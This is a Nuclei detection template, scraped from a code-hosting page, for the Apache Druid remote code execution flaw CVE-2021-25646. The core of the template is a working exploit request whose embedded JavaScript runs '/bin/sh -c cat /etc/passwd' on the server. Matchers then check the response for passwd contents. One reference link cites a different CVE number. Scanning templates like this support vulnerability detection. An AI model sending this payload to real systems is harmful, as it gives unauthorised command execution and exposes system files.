88 lines
2.5 KiB
YAML
88 lines
2.5 KiB
YAML
|
id: CVE-2021-25646
|
||
|
|
|
||
|
|
info:
|
||
|
name: Apache Druid - Remote Code Execution
|
||
|
|
author: pikpikcu
|
||
|
severity: high
|
||
|
|
description: |
|
||
|
|
Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
|
||
|
reference:
|
||
|
|
- https://paper.seebug.org/1476/
|
||
|
- https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
|
||
|
|
- http://www.openwall.com/lists/oss-security/2021/01/29/6
|
||
|
|
- https://lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
|
||
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
|
||
|
|
classification:
|
||
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||
|
|
cvss-score: 8.8
|
||
|
|
cve-id: CVE-2021-25646
|
||
|
|
cwe-id: CWE-732
|
||
|
|
tags: cve,cve2021,apache,rce,druid
|
||
|
|
|
||
|
http:
|
||
|
|
- raw:
|
||
|
|
- |
|
||
|
POST /druid/indexer/v1/sampler HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Content-Type: application/json
|
||
|
|
|
||
|
|
{
|
||
|
|
"type":"index",
|
||
|
|
"spec":{
|
||
|
|
"ioConfig":{
|
||
|
|
"type":"index",
|
||
|
|
"firehose":{
|
||
|
|
"type":"local",
|
||
|
|
"baseDir":"/etc",
|
||
|
|
"filter":"passwd"
|
||
|
|
}
|
||
|
|
},
|
||
|
|
"dataSchema":{
|
||
|
|
"dataSource":"odgjxrrrePz",
|
||
|
|
"parser":{
|
||
|
|
"parseSpec":{
|
||
|
|
"format":"javascript",
|
||
|
|
"timestampSpec":{
|
||
|
|
|
||
|
|
},
|
||
|
|
"dimensionsSpec":{
|
||
|
|
|
||
|
|
},
|
||
|
|
"function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
|
||
|
|
"":{
|
||
|
|
"enabled":"true"
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
},
|
||
|
|
"samplerConfig":{
|
||
|
|
"numRows":10
|
||
|
|
}
|
||
|
|
}
|
||
|
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
|
||
|
|
- type: regex
|
||
|
|
part: body
|
||
|
|
regex:
|
||
|
|
- "root:.*:0:0:"
|
||
|
|
|
||
|
|
- type: word
|
||
|
|
part: body
|
||
|
|
words:
|
||
|
|
- "numRowsRead"
|
||
|
|
- "numRowsIndexed"
|
||
|
condition: and
|
||
|
|
|
||
|
|
- type: word
|
||
|
|
part: header
|
||
|
|
words:
|
||
|
|
- "application/json"
|
||
|
|
|
||
|
|
- type: status
|
||
|
|
status:
|
||
|
|
- 200
|
||
|
|
# Enhanced by mp on 2022/06/27
|